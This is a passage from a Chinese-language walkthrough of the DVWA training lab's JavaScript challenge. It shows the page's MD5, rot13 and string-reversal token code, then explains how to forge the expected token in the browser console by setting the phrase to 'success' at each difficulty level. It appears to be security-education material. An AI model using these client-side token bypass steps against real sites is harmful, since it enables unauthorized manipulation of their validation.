g,n[e+15],14,-660478335),m,l,n[e+4],20,-405537848),v=u(v,m=u(m,l=u(l,g,v,m,n[e+9],5,568446438),g,v,n[e+14],9,-1019803690),l,g,n[e+3],14,-187363961),m,l,n[e+8],20,1163531501),v=u(v,m=u(m,l=u(l,g,v,m,n[e+13],5,-1444681467),g,v,n[e+2],9,-51403784),l,g,n[e+7],14,1735328473),m,l,n[e+12],20,-1926607734),v=c(v,m=c(m,l=c(l,g,v,m,n[e+5],4,-378558),g,v,n[e+8],11,-2022574463),l,g,n[e+11],16,1839030562),m,l,n[e+14],23,-35309556),v=c(v,m=c(m,l=c(l,g,v,m,n[e+1],4,-1530992060),g,v,n[e+4],11,1272893353),l,g,n[e+7],16,-155497632),m,l,n[e+10],23,-1094730640),v=c(v,m=c(m,l=c(l,g,v,m,n[e+13],4,681279174),g,v,n[e],11,-358537222),l,g,n[e+3],16,-722521979),m,l,n[e+6],23,76029189),v=c(v,m=c(m,l=c(l,g,v,m,n[e+9],4,-640364487),g,v,n[e+12],11,-421815835),l,g,n[e+15],16,530742520),m,l,n[e+2],23,-995338651),v=f(v,m=f(m,l=f(l,g,v,m,n[e],6,-198630844),g,v,n[e+7],10,1126891415),l,g,n[e+14],15,-1416354905),m,l,n[e+5],21,-57434055),v=f(v,m=f(m,l=f(l,g,v,m,n[e+12],6,1700485571),g,v,n[e+3],10,-1894986606),l,g,n[e+10],15,-1051523),m,l,n[e+1],21,-2054922799),v=f(v,m=f(m,l=f(l,g,v,m,n[e+8],6,1873313359),g,v,n[e+15],10,-30611744),l,g,n[e+6],15,-1560198380),m,l,n[e+13],21,1309151649),v=f(v,m=f(m,l=f(l,g,v,m,n[e+4],6,-145523070),g,v,n[e+11],10,-1120210379),l,g,n[e+2],15,718787259),m,l,n[e+9],21,-343485551),l=t(l,i),g=t(g,a),v=t(v,d),m=t(m,h);return[l,g,v,m]}function a(n){var t,r="",e=32*n.length;for(t=0;t<e;t+=8)r+=String.fromCharCode(n[t>>5]>>>t%32&255);return r}function d(n){var t,r=[];for(r[(n.length>>2)-1]=void 0,t=0;t<r.length;t+=1)r[t]=0;var e=8*n.length;for(t=0;t<e;t+=8)r[t>>5]|=(255&n.charCodeAt(t/8))<<t%32;return r}function h(n){return a(i(d(n),8*n.length))}function l(n,t){var r,e,o=d(n),u=[],c=[];for(u[15]=c[15]=void 0,o.length>16&&(o=i(o,8*n.length)),r=0;r<16;r+=1)u[r]=909522486^o[r],c[r]=1549556828^o[r];return e=i(u.concat(d(t)),512+8*t.length),a(i(c.concat(e),640))}function g(n){var t,r,e="";for(r=0;r<n.length;r+=1)t=n.charCodeAt(r),e+="0123456789abcdef".charAt(t>>>4&15)+"0123456789abcdef".charAt(15&t);return e}function v(n){return unescape(encodeURIComponent(n))}function m(n){return h(v(n))}function p(n){return g(m(n))}function s(n,t){return l(v(n),v(t))}function C(n,t){return g(s(n,t))}function A(n,t,r){return t?r?s(t,n):C(t,n):r?m(n):p(n)}"function"==typeof define&&define.amd?define(function(){return A}):"object"==typeof module&&module.exports?module.exports=A:n.md5=A}(this);
function rot13(inp) {
return inp.replace(/[a-zA-Z]/g,function(c){return String.fromCharCode((c<="Z"?90:122)>=(c=c.charCodeAt(0)+13)?c:c-26);});
}
function generate_token() {
var phrase = document.getElementById("phrase").value;
document.getElementById("token").value = md5(rot13(phrase));
}
generate_token();
</script>
EOF;
?>
生成的前端代码也是没有问题是根据将phrase的值进行MD5值计算的,那我们在看一下前端代码实现,前端发现该问题给的token值固定,且做MD5加密的value值不是success那么我们将ChangeMe改为success执行下前端代码,成功!
12.3、代码分析
中级
调用的js
function do_something(e){for(var t="",n=e.length-1;n>=0;n--)t+=e[n];return t}setTimeout(function(){do_elsesomething("XX")},300);function do_elsesomething(e){document.getElementById("token").value=do_something(e+document.getElementById("phrase").value+"XX")}
中级发现代码并不在前端,而是在后端,调用js实现了以下作用
do_something(e)
函数接受一个参数e
,它将参数e
的每个字符逆序拼接成一个新的字符串,并将结果返回。
setTimeout()
函数用于在一定时间后执行代码。在这里,它将在 300 毫秒后执行do_elsesomething("XX")
函数。
do_elsesomething(e)
函数接受一个参数e
,它将参数e
与页面中具有 id 为 "phrase" 的元素的值以及字符串 "XX" 进行拼接,并将结果赋值给具有 id 为 "token" 的元素的 value 属性
那么我们回到前端进行查看;只需将success替换即可,注意逆序
,提交显示成功!
高级
查看js发现有不少
\x
,以为是utf8
,后来查了下JS
相关的东西,找到了obfuscate javascript
相关的资料,这里提供一个站点,还原JS混淆function do_something(e) {
for (var t = "", n = e.length - 1; n >= 0; n--) t += e[n];
return t
}
function token_part_3(t, y = "ZZ") {
document.getElementById("token").value = sha256(document.getElementById("token").value + y)
}
function token_part_2(e = "YY") {
document.getElementById("token").value = sha256(e + document.getElementById("token").value)
}
function token_part_1(a, b) {
document.getElementById("token").value = do_something(document.getElementById("phrase").value)
}
document.getElementById("phrase").value = "";
setTimeout(function() {
token_part_2("XX")
}, 300);
document.getElementById("send").addEventListener("click", token_part_3);
token_part_1("ABCD", 44);
这段代码最后指的是先执行token_part_2("XX"),但是由于设置了延时,所以其实是先执行token_part_1("ABCD", 44);,再执行token_part_2("XX"),最后点击click的时候就会执行token_part_3。
首先在前端将值改为success。
然后去控制台先将所有的JS
输入一遍,注意是包括那些非常长非常长的一部分,但是要排除被我选中的以下几行
接着在控制下,依次执行
token_part_1("ABCD", 44);
和token_part_2("XX")
。成功!
12.4、总结
js一般泄露的问题还是比较多的,比如敏感信息、未授权接口、路径等。
十三、总结
本文针对DVWA靶场进行了全漏洞的利用和一些简单的扩展,在应用程序中还有很多其他类型的漏洞比如不安全的反序列化,逻辑漏洞等个人觉得只要不是通过正常流程获取站点信息、权限的方式都是有安全问题存在的。